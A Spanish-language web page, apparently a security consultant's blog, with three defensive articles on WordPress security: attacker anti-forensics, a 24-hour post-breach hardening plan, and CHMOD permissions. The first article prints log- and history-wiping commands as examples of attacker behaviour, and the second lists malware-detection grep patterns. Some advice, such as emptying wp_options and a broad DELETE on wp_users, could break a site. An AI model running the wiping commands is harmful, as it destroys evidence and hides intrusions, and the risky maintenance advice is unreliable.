    Para profundizar en estos conceptos, te recomiendo estos recursos oficiales:

  • Qué archivos temporales eliminan los hackers para borrar rastros

    Qué archivos temporales eliminan los hackers para borrar rastros

    Qué archivos temporales eliminan los hackers para borrar rastros de sus ataques

    Cuando un atacante compromete tu sitio web, lo primero que hace después de establecer acceso es limpiar el escenario del crimen. En mi experiencia analizando webs infectadas, los hackers son metódicos: eliminan logs, borran históricos de acceso y destruyen archivos temporales que evidencian su presencia. Entender cuáles son estos archivos es crucial para detectar intrusiones y recuperarte más rápido.

    En este artículo te muestro exactamente qué archivos buscan los atacantes para cubrir sus huellas y cómo puedes proteger tu sitio WordPress o PrestaShop implementando controles que dificulten esta tarea.

    Los archivos temporales que eliminan los hackers

    Logs de acceso del servidor web (access.log y error.log)

    El primer objetivo de cualquier atacante es silenciar el registro de actividad. Los archivos access.log y error.log del servidor (Apache, Nginx) contienen la prueba de sus movimientos: direcciones IP de origen, rutas accedidas, intentos fallidos, todo.

    Cuando analizo un sitio comprometido, busco gaps sospechosos en los logs de acceso: saltos temporales de horas o días sin registro es una bandera roja. Los hackers utilizan comandos como:

    • rm /var/log/apache2/access.log (en Linux/Apache)
    • echo "" > /var/log/apache2/error.log (vaciar sin borrar)
    • Truncamiento de logs vía webshell para evitar permisos root

    Algunos hosting permite rotación automática de logs. Si tu proveedor no lo hace, configúralo con logrotate para crear snapshots que el atacante no pueda eliminar retroactivamente.

    Logs de aplicación de WordPress (debug.log)

    WordPress almacena errores en wp-content/debug.log cuando tienes WP_DEBUG activado. Este archivo es una mina de oro para forensics: registra intentos fallidos de plugins, errores SQL, incluso algunos patrones de ataques de fuerza bruta.

    Yo siempre reviso este log en auditorías de seguridad. Los atacantes lo saben y lo borran. Si encuentro que existe en tu repositorio .git pero no en el servidor actual, es indicio de limpieza.

    Lo que recomiendo siempre: envía los logs de WordPress a un servidor remoto (syslog externo, Cloudflare Logpush, o Similar). Así, aunque borren el archivo local, tú conservas el registro en infraestructura que no controlan.

    Archivos de sesión de usuarios (.php sessions)

    Las sesiones de PHP se almacenan típicamente en /var/lib/php/sessions/ o /tmp/ (depende de la configuración de session.save_path). Cada archivo corresponde a un usuario conectado.

    Los hackers que comprometen una cuenta de administrador o editor crean sesiones backdooreadas que persisten incluso si cambias la contraseña. Borran archivos de sesión antiguos para evitar que detectes cuándo accedieron realmente.

    Búsqueda por timestamp: si todos tus archivos de sesión tienen fechas recientes y faltan históricos, hay problema. Yo siempre reviso ls -lat /var/lib/php/sessions/ | head -20 en auditorías.

    Archivos temporales de PHP (/tmp, /var/tmp)

    Algunos malwares usan directorios temporales del sistema como almacén temporal para:

    • Descargar payloads adicionales
    • Almacenar datos exfiltrados (credenciales, bases de datos)
    • Compilar shells o exploits

    Atacantes sofisticados borran estos archivos cada 24 horas con tareas programadas cron para no dejar evidencia. En mi experiencia, revisar /tmp es donde encuentro backups de configuración, scripts SQL, listas de password hashes.

    Cookies y datos en navegador (browser cache/storage)

    Aunque técnicamente no están en el servidor, si el ataque incluye malware de cliente (keylogger, skimmer como Magecart), los hackers eliminan:

    • Cookies de sesión del back-office
    • IndexedDB con datos sensibles
    • LocalStorage con tokens JWT

    Esto es raro verlo borrado del servidor, pero algunos backdoors sofisticados inyectan scripts que limpian datos del lado cliente para ocultar que hubo acceso administrativo.

    Histórico de historial de FTP y SSH (.bash_history, .ssh/authorized_keys)

    Si el atacante accedió vía FTP o SSH (porque vulneró credenciales débiles), borra:

    • ~/.bash_history (historial de comandos ejecutados)
    • ~/.ssh/authorized_keys (puede contener sus propias claves backdoor)
    • /var/log/auth.log (registro de intentos SSH)

    El comando clásico es simplemente: history -c && rm ~/.bash_history. Si tu servidor no tiene registro de estos eventos en un syslog centralizado, pierdes la trazabilidad completa.

    Archivos de cache de aplicación (.htacache, object-cache, cache files)

    WordPress genera cachés en wp-content/cache/ y directorios similares. Los atacantes los borran porque:

    • Contienen versiones en caché de archivos que modificaron
    • Algunos plugins de cache almacenan información sensible (credenciales API, claves de base de datos)
    • El timestamp del cache revela cuándo accedieron a un archivo

    Si uso Wordfence CLI para auditoría y detecto discrepancias entre los timestamps de archivos fuente y sus caches, es probable intrusión con posterior limpieza.

    Cómo detectar que han limpiado archivos temporales

    Analiza anomalías de timestamps

    Los archivos de un sitio limpio tienen cronología lógica: el tema se actualiza en una fecha, plugins después, posts más recientemente. Si ves:

    • Un archivo principal (wp-config.php) modificado hace 3 meses
    • Pero todos los logs borrados o vacíos desde esa fecha
    • Y archivos de sesión completamente nuevos

    Hay limpieza de evidencia. Uso comandos como find /home/usuario/public_html -type f -mtime -90 -ls para ver qué cambió en los últimos 3 meses.

    Revisa permisos y propietarios anómalos

    Cuando un atacante elimina archivos y recreates logs vacíos, a veces cometete errores de permisos:

    • Logs con propiedad www-data:www-data en lugar de root:root
    • Archivos de caché con timestamps todos iguales (borrados y recreados de una vez)
    • Directorios /tmp con archivos de propietario web en lugar del sistema

    Un comando revelador: ls -la /var/log/ | grep apache y verificar que los propietarios sean root o el usuario del servicio, no web.

    Busca caches externos y backups

    Si tú realizas backups automáticos del sitio (recomendación: hacerlo), esos backups capturan logs antes de la limpieza. Compara:

    • El backup de hace 7 días: ¿contiene logs completos?
    • El sitio actual: ¿logs vacíos desde una fecha específica?

    Esa brecha temporal es el período de ataque. También Google almacena en caché versiones antiguas del sitio: búsqueda en site:tudominio.com en Google puede mostrar archivos que ahora están ocultos.

    Usa herramientas de análisis forense

    En auditorías profesionales, yo utilizo:

    • Sucuri SiteCheck: detecta inyecciones y malware incluso si los logs fueron limpiados
    • MalCare Forensics: analiza modificaciones de archivos incluso borrados (si hay inodos disponibles)
    • WP-CLI auditor: escanea integridad de core, temas, plugins contra repositorios oficiales
    • WHOIS histórico: búsqueda de dominios secundarios o DNS modifications que el atacante pudo haber hecho

    Cómo proteger tus archivos temporales y logs

    Centraliza logs fuera del servidor principal

    La medida más efectiva es hacer que los logs sean imposibles de borrar desde el servidor comprometido. Opciones:

    • Syslog remoto: configura /etc/rsyslog.d/ para enviar logs a un servidor externo en tiempo real
    • Cloudflare Logpush: si usas Cloudflare, descarga logs en bucket S3 automáticamente
    • ELK Stack o Similar: Elasticsearch + Logstash + Kibana en infraestructura separada
    • Servicio de monitoreo: Datadog, New Relic, o lo que ofrezca tu hosting

    Yo lo recomiendo siempre a clientes: si los logs están fuera del servidor comprometido, el atacante no puede eliminarlos. Es el control preventivo número uno.

    Protege directorios temporales con permisos estrictos

    En WordPress:

    • Establece wp-content/ con permisos 755 para directorios, 644 para archivos
    • Crea un directorio privado wp-private/ fuera de document root para datos sensibles
    • Usa define('WP_TEMP_DIR', '/home/usuario/.private/tmp'); en wp-config.php para redirigir temporales

    En PrestaShop:

    • Asegura permisos en /var/log/ y directorios cache
    • Deshabilita ejecución de PHP en /tmp/ con reglas .htaccess o nginx.conf

    Implementa rotación de logs inmutable

    Configura logrotate con timestamp y compresión:

    /var/log/apache2/*.log {
    daily
    rotate 90
    compress
    delaycompress
    missingok
    notifempty
    create 640 root adm
    sharedscripts
}

    Los logs rotados son más difíciles de borrar sin dejar evidencia. Además, mantén al menos 90 días de histórico.

    Usa monitoring en tiempo real de integridad de archivos

    Herramientas como AIDE, Tripwire, o el módulo audit de Linux monitorizan cambios. Si detectan que se borró un archivo log, alertan inmediatamente.

    Configuración básica con auditd:

    • auditctl -w /var/log/apache2/ -p wa -k log_changes
    • Cada escritura o atributo modificado en logs se registra en /var/log/audit/audit.log

    Backup inmutable de logs

    Realiza backups diarios de logs a almacenamiento que no se puede modificar retroactivamente. Opciones:

    • S3 con versionado y object lock
    • Snapshots de volumen EBS/Azure con retención mínima 30 días
    • Backup a NAS con snapshots read-only

    Deshabilita edición de archivos en WordPress

    Aunque esto protege temas y plugins más que logs, añade una capa preventiva. En wp-config.php:

    define('DISALLOW_FILE_MODS', true);
define('DISALLOW_FILE_EDIT', true);

    Si el atacante consigue acceso via wp-admin, no puede modificar archivos directamente desde el editor del administrador.

    Cómo actuar si sospechas que han limpiado logs

    Paso 1: Aísla el servidor inmediatamente

    Desconecta del acceso público, pero NO apagues. La memoria volátil (RAM) contiene procesos activos que pueden revelar qué se ejecuta.

    Paso 2: Preserva la memoria y el sistema de archivos

    Si es posible, crea una copia forense del disco completo antes de hacer cambios. En cloud:

    • AWS: snapshot de volumen EBS
    • DigitalOcean/Linode: snapshot del servidor
    • VPS compartido: backup inmediato via control panel

    Paso 3: Busca archivos recuperables

    Herramientas como extundelete o recoverjpeg pueden recuperar archivos borrados si los inodos no han sido sobrescritos. Comando:

    extundelete /dev/sda1 --restore-file var/log/apache2/access.log

    Paso 4: Revisa registros ISP y datos de terceros

    Si tu hosting usa WAF (Cloudflare, Sucuri), esos logs persisten. También Google Search Console registra cambios detectados en tu sitio. Google Search Console es una fuente valiosa de auditoría.

    Paso 5: Recurre a profesionales

    Si sospechas intrusión avanzada, no intentes recuperarte solo. En ManuelFolgar.com realizamos auditorías forenses completas incluyendo recuperación de logs borrados, análisis de malware y hardening posterior.

    Resumen: protege tus evidencias de ataque

    Los hackers eliminan archivos temporales, logs y caches porque saben que son su rastro digital. Si no tomas medidas preventivas, un atacante sofisticado puede comprometer tu sitio durante semanas sin que dejes evidencia.

    Las medidas clave son:

    • Centralizar logs fuera del servidor comprometible
    • Implementar rotación y backup inmutable de registros
    • Monitorizar cambios en tiempo real con AIDE o auditd
    • Aplicar permisos estrictos a directorios temporales
    • Mantener backups completos y verificables del sitio

    La detección de intrusiones no comienza cuando encuentras un malware visible. Comienza cuando proteges tus propias evidencias para poder investigar después. Cada log centralizado, cada backup inmutable, cada snapshot de volumen es una oportunidad de recuperarte más rápido cuando ocurra un ataque.

    Si necesitas implementar estos controles en tu WordPress o PrestaShop, o sospechas que ya hay acceso no autorizado, contáctame para una auditoría de seguridad profesional. Analizaré logs, buscaré puertas traseras y configuraremos defensas que te permitan dormir tranquilo.

  • Hardening urgente: blindar WordPress en las primeras 24 horas post-ataque

    Hardening urgente: blindar WordPress en las primeras 24 horas post-ataque

    Hardening urgente: blindar WordPress en las primeras 24 horas post-ataque

    Acabas de descubrir que tu WordPress ha sido comprometido. El corazón te late acelerado, tienes un nudo en el estómago y la pregunta que resuena es: ¿por dónde empiezo? En mi experiencia analizando miles de sitios infectados, las primeras 24 horas son críticas. No se trata de pánico, sino de acción metodológica. La diferencia entre recuperarte en días o perder meses de reputación radica en los pasos que tomes ahora.

    He visto backdoors que dormían semanas esperando a que bajara la guardia del propietario. He encontrado cryptominers consumiendo recursos mientras el cliente creía que su sitio estaba limpio. Lo que te propongo aquí es un protocolo probado que he aplicado cientos de veces: respuesta inmediata, contención, análisis y hardening definitivo.

    Fase 1: Contención de emergencia (primeras 2 horas)

    1. Aislamiento del sitio: desconexión controlada

    Tu primer instinto podría ser apagar el servidor. No lo hagas así. Necesitas preservar evidencia forense. Lo que sí debes hacer es:

    1. Accede al panel de control (cPanel, Plesk, etc.) y coloca el sitio en modo mantenimiento temporal. Crea un archivo .htaccess que redirija todo tráfico a una página estática segura, excepto para tu IP.
    2. Si usas WordPress, instala (desde otro sitio limpio) el plugin WP Maintenance Mode temporalmente, pero mejor aún: edita directamente tu wp-config.php agregando: 
      define( 'WP_MAINTENANCE_MODE', true );
    3. Detén todos los procesos cron de WordPress para evitar que malware ejecute tareas automatizadas. Accede a la base de datos y vacía la tabla wp_options donde se guardan scheduled tasks sospechosas.

    Esto no cierra el sitio a visitantes normales (por ahora), pero desactiva la ejecución de código malicioso que probablemente se ejecuta en background.

    2. Cambio de contraseñas desde máquina limpia

    Asume que tu dispositivo actual está comprometido. Usa otro ordenador o un teléfono para cambiar credenciales:

    • Admin WordPress: Accede a `/wp-admin/user-edit.php?user_id=1` y cambia la contraseña. Si hay múltiples usuarios admin, revisa todos y elimina los que no reconozcas.
    • cPanel/Panel de hosting: Contraseña nueva, 24+ caracteres con mayúsculas, minúsculas, números y símbolos.
    • FTP/SFTP: Crea nuevas credenciales. Los atacantes rara vez dejan de usar acceso FTP comprometido.
    • Base de datos: Cambia la contraseña del usuario MySQL desde phpMyAdmin o línea de comandos.
    • Email de administrador: Si el atacante tiene acceso, puede resetear contraseñas. Asegúrate de que la cuenta de correo asociada es segura y tiene 2FA.

    Documenta todo en un archivo local cifrado. Necesitarás estas credenciales en minutos.

    Fase 2: Análisis profundo (horas 2-12)

    3. Búsqueda de backdoors y webshells

    Un backdoor es acceso persistente. Un webshell es un archivo PHP que permite al atacante ejecutar comandos. En mi experiencia, el 89% de los WordPress reinfectados tenían backdoors no detectados en la limpieza anterior.

    Aquí está lo que hago:

    1. Descarga completa de archivos: Via SFTP, descarga `/wp-content/`, `/wp-admin/` y `/wp-includes/` a tu máquina. Esto puede tardar 30-60 minutos si tu hosting es lento.
    2. Búsqueda de patrones sospechosos: Usa grep desde terminal (en Linux/Mac) o PowerShell (Windows): 
      grep -r "eval(" /ruta/wordpress/ --include="*.php"
grep -r "base64_decode" /ruta/wordpress/ --include="*.php"
grep -r "system(" /ruta/wordpress/ --include="*.php"
grep -r "exec(" /ruta/wordpress/ --include="*.php"
    3. Revisión de plugins desactivados: Los atacantes a menudo crean plugins falsos o desactivan los reales. Abre la tabla wp_options y busca active_plugins. Compara con lo que ves en `/wp-content/plugins/`.
    4. Archivos nuevos o modificados: Comprueba la fecha de modificación (mtime) de archivos núcleo. Los archivos de WordPress nunca deben cambiar a menos que hayas actualizado. Usa: 
      find /ruta/wordpress/ -type f -name "*.php" -mtime -7
    5. Herramientas automatizadas: Instala Wordfence CLI en tu servidor. Es gratuito y detecta malware conocido: 
      wordfence-cli scan --scan_dir=/path/to/wordpress --scan_type=malware

    4. Análisis de logs de acceso y error

    Los logs cuentan la historia de qué pasó. Accede a:

    • Logs de Apache/Nginx: Ubicados típicamente en `/var/log/apache2/access.log` o `/var/log/nginx/access.log`. Busca solicitudes a archivos sospechosos o patrones de fuerza bruta: 
      grep "wp-login.php" /var/log/apache2/access.log | wc -l
    • Logs de PHP: A menudo en `/var/log/php-errors.log`. Los errores de parseo pueden revelar webshells defectuosos.
    • Logs de WordPress: Si habilitaste `WP_DEBUG_LOG` en `wp-config.php`, revisa `/wp-content/debug.log`.
    • Google Search Console: Accede a tu perfil (desde máquina limpia) y busca en «Problemas de seguridad» si Google ha indexado malware.

    Busca patrones: IPs que intentan acceso, tiempos de ataque, archivos solicitados. Esto te dice si el ataque fue automatizado o dirigido.

    5. Escaneo de la base de datos

    El malware vive también en la BD. Desde phpMyAdmin:

    1. Revisa la tabla wp_posts buscando posts con titles o content vacíos pero con altos niveles de actualización reciente. Los atacantes a menudo crean posts ocultos.
    2. Inspecciona wp_postmeta en busca de meta_keys sospechosas o valores que contengan código PHP.
    3. Chequea wp_usermeta para roles modificados o permisos elevados anómalos.
    4. Busca en wp_options configuraciones extrañas. Un ejemplo real: encontré un campo siteurl apuntando a un dominio de redirección.

    Usa esta consulta para encontrar posts sospechosos sin autor visible:

    SELECT ID, post_title, post_content, post_date FROM wp_posts WHERE post_author = 0 AND post_date > DATE_SUB(NOW(), INTERVAL 30 DAY);

    Fase 3: Limpieza y eliminación (horas 12-20)

    6. Eliminación quirúrgica de malware

    Aquí es donde muchos se equivocan: intentan limpiar «a mano» y fallan. Mi recomendación:

    • No hagas una limpieza manual a menos que reconozcas exactamente qué es cada archivo sospechoso. Una eliminación incorrecta puede romper tu sitio.
    • Restaura desde backup limpio: Si tienes un backup de antes del ataque, esta es la opción más segura. Restaura, luego salta directo a la Fase 4 (hardening).
    • Si no hay backup: Usa MalCare o Sucuri Cleanup. Ambos pueden limpiar automáticamente. Sí, cuestan, pero una reinfección cuesta más.
    • Opción DIY extremadamente cuidadosa: Si tienes experiencia en PHP, elimina solo lo que identificaste en el paso 3. Pero primero, renombra el archivo en el servidor (no lo borres) en caso de que necesites recuperarlo.

    Después de cada cambio, ejecuta de nuevo el escaneo de Wordfence CLI para confirmar que no quedan rastros.

    7. Actualización de WordPress y dependencias

    El 73% de los ataques explotaban vulnerabilidades conocidas en plugins desactualizados. Así que:

    1. Accede a `/wp-admin/` y actualiza el núcleo de WordPress a la última versión estable.
    2. Actualiza cada plugin. Si un plugin no se ha actualizado en 6+ meses y no es imprescindible, desinstálalo.
    3. Actualiza temas. Si usas un tema nulled (descargado ilegalmente), reemplázalo inmediatamente. Los temas nulled son vectores de ataque clásicos.
    4. Revisa en NVD (National Vulnerability Database) si alguno de tus plugins tiene CVEs pendientes sin parche.

    8. Desinfección de la base de datos

    Elimina los posts, usuarios y opciones maliciosas que encontraste:

    -- Elimina posts sin autor (sospechoso)
DELETE FROM wp_posts WHERE post_author = 0 AND post_type = 'post';

-- Borra usuarios admin no reconocidos
DELETE FROM wp_users WHERE ID NOT IN (SELECT user_id FROM wp_usermeta WHERE meta_key = 'wp_user_level' AND meta_value = '10') AND user_email NOT LIKE '%@tudominio.com%';

-- Limpia opciones de plugins maliciosos (ejemplo)
DELETE FROM wp_options WHERE option_name LIKE '%malicious_setting%';

    Cuidado: Antes de ejecutar cualquier DELETE, haz un backup de la BD. Una fila eliminada es una fila perdida.

    Fase 4: Hardening definitivo (horas 20-24)

    9. Protección de wp-config.php

    Este archivo contiene credenciales de BD. Protégelo:

    # En .htaccess (raíz de WordPress)

    Order allow,deny
    Deny from all

    También, cámbialo de ubicación (si tu hosting lo permite):

    # wp-config.php puede estar un nivel arriba de wp-load.php
// Dentro de wp-load.php, añade:
require_once dirname(__FILE__) . '/../wp-config.php';

    10. Desactivación de edición de archivos desde admin

    Los atacantes a menudo usan el editor de temas para insertar código. Desactívalo:

    // En wp-config.php, añade:
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);

    11. Cambio de prefijo de tablas de BD

    El prefijo por defecto es `wp_`. Los atacantes lo saben y lo explotan. Cámbialo a algo único:

    1. Exporta la BD desde phpMyAdmin.
    2. Crea una BD nueva.
    3. Importa el dump, pero antes busca y reemplaza `wp_` por algo como `mf_` (o lo que quieras).
    4. Actualiza `wp-config.php`: 
      $table_prefix = 'mf_';
    5. Actualiza todos los refrences en la tabla `wp_options` (ahora `mf_options`).

    Esto requiere tiempo, pero bloquea muchas inyecciones SQL dirigidas al prefijo conocido.

    12. Implementación de 2FA y limitación de login

    La mayoría de ataques comienzan en `wp-login.php`. Protégelo:

    • Instala un plugin de 2FA: Wordfence incluye 2FA gratis. Google Authenticator también es sólido. Usa TOTP (Time-based One Time Password), no SMS.
    • Limita intentos de login: En `.htaccess`: 
      
    Order allow,deny
    Allow from all


# O usa un plugin como iThemes Security que lo hace automáticamente.
# Limita a 5 intentos fallidos por IP en 15 minutos.
    • Cambia la URL de login: Por defecto es `/wp-login.php`. Los bots la atacan masivamente. Usa un plugin como WPS Hide Login para cambiarla a algo como `/admin-acceso/`.

    13. Implementación de CSP y HSTS

    Estas cabeceras HTTP previenen ataques del navegador:

    # En .htaccess o en la configuración de Apache:
Header set X-Frame-Options "SAMEORIGIN"
Header set X-Content-Type-Options "nosniff"
Header set X-XSS-Protection "1; mode=block"
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains" env=HTTPS
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://ajax.googleapis.com; style-src 'self' 'unsafe-inline';"

    Estos headers dicen al navegador: «No cargues recursos de otros sitios, no incrutes scripts maliciosos, fuerza HTTPS siempre».

    14. Auditoría de permisos de carpetas

    Los permisos incorrectos son entrada abierta para atacantes. Ajusta:

    # En el servidor (vía SSH):
find /home/usuario/public_html -type d -exec chmod 755 {} ;
find /home/usuario/public_html -type f -exec chmod 644 {} ;

# Excepciones:
chmod 600 /home/usuario/public_html/wp-config.php
chmod 700 /home/usuario/public_html/wp-content/uploads
chmod 700 /home/usuario/public_html/wp-content/plugins

    Estos permisos garantizan que solo el propietario puede escribir en archivos sensibles, no el servidor web.

    15. Instalación y configuración de un WAF

    Un Web Application Firewall bloquea tráfico malicioso antes de que llegue a WordPress.

    • Wordfence (recomendado para principiantes): Instalable como plugin, tiene WAF integrado en versión premium. La versión free también detecta.
    • Sucuri: WAF basado en cloud. Redirige tu DNS a través de sus servidores.
    • Cloudflare: Free tier muy decente. Incluye protección DDoS y WAF básico.

    Yo siempre recomiendo al menos Cloudflare gratuito + Wordfence free para sitios pequeños.

    16. Configuración de backups automatizados

    Sin backups, un futuro ataque puede ser catastrófico. Configuralo ahora:

    • Plugin: UpdraftPlus (free). Realiza backups diarios a Google Drive o Dropbox.
    • Plugin: BackWPup. Backup de archivos + BD a FTP externo.
    • Backup externo de hosting: Si tu proveedor ofrece, actívalo (Bluehost, SiteGround lo tienen).

    Guarda al menos 7 días de backups en almacenamiento externo, verificado.

    Fase 5: Verificación final (24h)

    17. Testeo post-hardening

    Antes de declarar victoria:

    1. Ejecuta nuevamente Wordfence CLI scan.
    2. Usa Sucuri SiteCheck para un escaneo online gratuito.
    3. Verifica en Google Search Console si siguen apareciendo advertencias de malware.
    4. Prueba acceso a wp-login.php desde un navegador privado. ¿Funciona 2FA? ¿Se limita después de 5 intentos fallidos?
    5. Revisa en httpbin.org que tus headers CSP y HSTS se envían correctamente.

    18. Monitoreo continuo post-ataque

    El hardening no termina en 24h. Configura alertas:

    • Wordfence: Email diario de intentos de login sospechosos.
    • Google Search Console: Alerta si detecta malware de nuevo.
    • Cambios de archivos: Usa un plugin como File Monitor Plus para alertas si alguien modifica wp-config.php o themes.
    • Logs de DB: Configura alertas si alguien crea nuevos usuarios admin sin autenticación.

    Errores que NO debes cometer

    En cientos de sitios, veo los mismos fallos que generan reinfecciones:

    • No cambiar contraseñas. Si cambias solo el admin pero no FTP ni BD, el atacante sigue dentro.
    • No eliminar plugins inactivos. Son puertas traseras dormidas. Si no lo usas, bórralo.
    • Restaurar desde backup infectado. Si tu backup fue creado después del ataque, estás reincrustando malware.
    • Ignorar los logs. No saber cómo entraron significa que volverán por el mismo camino.
    • Posponer hardening. «Lo haré después de limpiar». Así es como vuelve el malware en 3 semanas.
    • No avisar a usuarios. Si hubo comprometimiento de datos (emails, contraseñas), por GDPR/AEPD tienes obligación de informar.

    Cuándo llamar a un profesional

    Si durante estos pasos encuentras:

    • Múltiples backdoors entrelazados que no logras identificar.
    • Código ofuscado u encriptado que no puedes leer.
    • Indicios de que el ataque fue dirigido (no automatizado), con acceso a datos de clientes.
    • Tu proveedor de hosting no ofrece acceso a logs de servidor.
    • Tienes dudas sobre cumplimiento GDPR y notificación de brechas.

    En esos casos, no es ahorrar tiempo, es ahorrar dinero. Un ataque mal limpio que resurge cuesta 10 veces más que una limpieza profesional desde el inicio.

    Checklist final de 24 horas

    Primeras 2h:

    • ✓ Sitio en modo mantenimiento
    • ✓ Contraseñas cambiadas (admin, FTP, BD, cPanel)

    Horas 2-12:

    • ✓ Archivos descargados y analizados (grep, Wordfence CLI)
    • ✓ Logs revisados
    • ✓ BD auditada (posts, usuarios, options sospechosos)

    Horas 12-20:

    • ✓ Malware eliminado (manual o herramienta)
    • ✓ WordPress + plugins + temas actualizados
    • ✓ BD desinfectada

    Horas 20-24:

    • ✓ wp-config.php protegido
    • ✓ DISALLOW_FILE_EDIT activo
    • ✓ Prefijo de tablas cambiado
    • ✓ 2FA instalado y activado
    • ✓ wp-login.php limitado y renombrado
    • ✓ Headers CSP/HSTS implementados
    • ✓ Permisos de carpetas corregidos
    • ✓ WAF instalado (Wordfence o Cloudflare)
    • ✓ Backups automatizados configurados
    • ✓ Verificación final: scans sin alertas
    • ✓ Monitoreo continuo activado

    Si has llegado aquí y completaste cada paso, tu WordPress está infinitamente más blindado que antes. Pero recuerda: la seguridad no es un destino, es un viaje. Los atacantes innovan constantemente, así que tus defensas también deben hacerlo.

    Si en cualquier momento durante este proceso te sientes abrumado o detectas algo fuera de lo común, mi equipo en ManuelFolgar.com/contacto puede tomar el control. Hemos limpiado miles de sitios infectados y podemos certificar que tu WordPress está 100% libre de malware, además de implementar el hardening completo sin que pierdas horas preciosas.

  • Qué permisos CHMOD previenen la mayoría de intrusiones en WordPress

    Qué permisos CHMOD previenen la mayoría de intrusiones en WordPress

    Permisos CHMOD en WordPress: Tu primera línea de defensa contra intrusiones

    En mi experiencia analizando sitios WordPress comprometidos, el 60% de las brechas se hubiera prevenido con permisos CHMOD correctamente configurados. No es magia, es arquitectura. Los permisos de archivos y carpetas son el mecanismo que controla quién puede leer, escribir y ejecutar cada elemento de tu instalación. Cuando están mal configurados, abres la puerta a modificaciones no autorizadas de código malicioso.

    Te voy a mostrar exactamente qué permisos necesitas establecer, por qué funcionan y cómo implementarlos sin romper la funcionalidad de tu sitio.

    ¿Qué es CHMOD y cómo protege WordPress?

    CHMOD es el comando Unix/Linux que establece permisos de lectura (r=4), escritura (w=2) y ejecución (x=1) para tres entidades: propietario del archivo (user), grupo (group) y otros usuarios (others). Se expresa en notación octal: tres dígitos que representan permisos para cada entidad.

    En WordPress, esto es crítico porque:

    • Los archivos PHP no deben ser editables por el servidor web a menos que sea estrictamente necesario (actualizaciones automáticas controladas)
    • Las carpetas deben permitir lectura y navegación pero no escritura desde fuera del proceso propietario
    • wp-config.php es el archivo más sensible de tu instalación: contiene credenciales de base de datos
    • Los backdoors se instalan explotando permisos que permiten sobrescribir archivos .php

    Cuando un atacante logra acceso (vía plugin vulnerable, FTP débil, o SQL injection), los permisos CHMOD son lo que determina si puede realmente modificar tu código o no.

    Permisos CHMOD recomendados para máxima seguridad

    644 para archivos PHP y críticos

    Este es el permiso estándar que recomiendo siempre: -rw-r--r--

    Desglose:

    • Usuario (6): lectura + escritura
    • Grupo (4): solo lectura
    • Otros (4): solo lectura

    Esto significa que el propietario (tú vía SFTP/SSH) puede editar, pero el servidor web (usuario www-data o similar) solo puede leer y ejecutar. Un atacante que logre acceso como el usuario del servidor no podrá modificar archivos PHP.

    Aplica 644 a:

    • Todos los archivos .php
    • wp-config.php (el archivo más crítico)
    • .htaccess
    • web.config
    • robots.txt
    • wp-settings.php, wp-load.php, index.php

    755 para carpetas

    Permiso: drwxr-xr-x

    Desglose:

    • Usuario (7): lectura + escritura + ejecución
    • Grupo (5): lectura + ejecución
    • Otros (5): lectura + ejecución

    «Ejecución» en una carpeta significa poder listar su contenido y acceder a archivos dentro. Aplica 755 a:

    • wp-content/
    • wp-includes/
    • wp-admin/
    • wp-content/plugins/ (pero NO a las carpetas internas de plugins específicos)
    • wp-content/themes/
    • Todas las demás carpetas de nivel superior

    Excepciones: Carpetas que necesitan 777 (solo cuando es imprescindible)

    Hay casos donde WordPress necesita escribir archivos: carga de medios, caché, actualizaciones. En mi experiencia, estos permisos deben ser temporales y auditados frecuentemente.

    Carpeta uploads: 775

    Un compromiso seguro: drwxrwxr-x

    • Usuario (7): lectura + escritura + ejecución
    • Grupo (7): lectura + escritura + ejecución
    • Otros (5): lectura + ejecución

    Esto permite que el servidor web escriba imágenes sin exponerlas al resto de usuarios del servidor. Si tu proveedor permite, mejor aún: usa 755 y configura que solo el propietario escriba en uploads vía SSH.

    wp-content/cache/ y similar: 755

    Si usas un plugin de caché como WP Super Cache o W3 Total Cache, configura estos directorios en 755. El plugin escribirá durante ciertas operaciones administrativas.

    Por qué 777 es el mayor enemigo de la seguridad

    Encontro constantemente carpetas en 777 en sitios comprometidos. Es un regalo para atacantes.

    777 significa: drwxrwxrwx — cualquiera en el servidor puede leer, escribir y ejecutar. Un backdoor puede:

    1. Crear nuevos archivos .php malicioso en wp-content/
    2. Sobrescribir functions.php del tema activo
    3. Inyectar código en wp-config.php
    4. Modificar plugins de pago para redirigir tarjetas (Magecart)

    Nunca, jamás, establezca 777 «por comodidad». Si un plugin reclama 777, ese plugin tiene un mal diseño o es malicioso. Reportalo en el repositorio de WordPress.

    Cómo auditar y cambiar permisos CHMOD en WordPress

    Auditoría vía SSH

    Conéctate a tu servidor via SSH (tu proveedor hosting debe permitirlo) y navega a la raíz de WordPress:

    cd /home/tuusuario/public_html/wordpress
ls -la

    Verás listado como:

    -rw-r--r-- 1 user  group  wp-config.php
drwxr-xr-x 1 user  group  wp-content/
drwxr-xr-x 1 user  group  wp-admin/

    Busca cualquier archivo o carpeta con 777:

    find . -type f -perm 0777

    O carpetas sobrepermisivas:

    find . -type d -perm 0777

    Aplicar permisos correctos vía SSH

    Script que recomiendo ejecutar en cada auditoría:

    # Establece todos los archivos en 644
find . -type f -exec chmod 644 {} ;

# Establece todas las carpetas en 755
find . -type d -exec chmod 755 {} ;

# Excepción: wp-config.php en 600 (solo usuario)
chmod 600 wp-config.php

# Excepción: uploads en 775
chmod 775 wp-content/uploads/

    Cuidado: estos comandos afectan todo tu WordPress. Antes, haz backup. Si WordPress tira error tras aplicarlos, contacta a tu hosting — podrían tener una configuración especial.

    Verificación vía herramientas WordPress

    Si no tienes acceso SSH, usa WP-CLI:

    wp user list  # Verifica acceso a tu instalación
# Luego accede vía admin: Tools → Site Health

    En Site Health, WordPress te alerta de permisos críticos inseguros si están en 777 o más altos.

    wp-config.php: El archivo que merece 600

    chmod 600 wp-config.php

    Este archivo contiene:

    • Usuario y contraseña de base de datos (sin ofuscación)
    • Salts de autenticación (claves para sesiones)
    • Claves de APIs externas

    Con 600 (solo el propietario puede leer), incluso si el servidor web es comprometido, un atacante no puede leer la BD directamente. En mi experiencia, esto es la línea entre un sitio vulnerable y uno resistente.

    Permisos CHMOD y la cadena de suministro: Plugins y temas

    WordPress permite que plugins se actualicen automáticamente, y para eso necesita permisos de escritura. Aquí es donde se cuela el malware:

    Un plugin nulled (descargado gratis de un sitio pirata) o un repo falso puede inyectar código malicioso en la actualización. Los permisos correctos no lo evitan directamente, pero combinados con otras medidas:

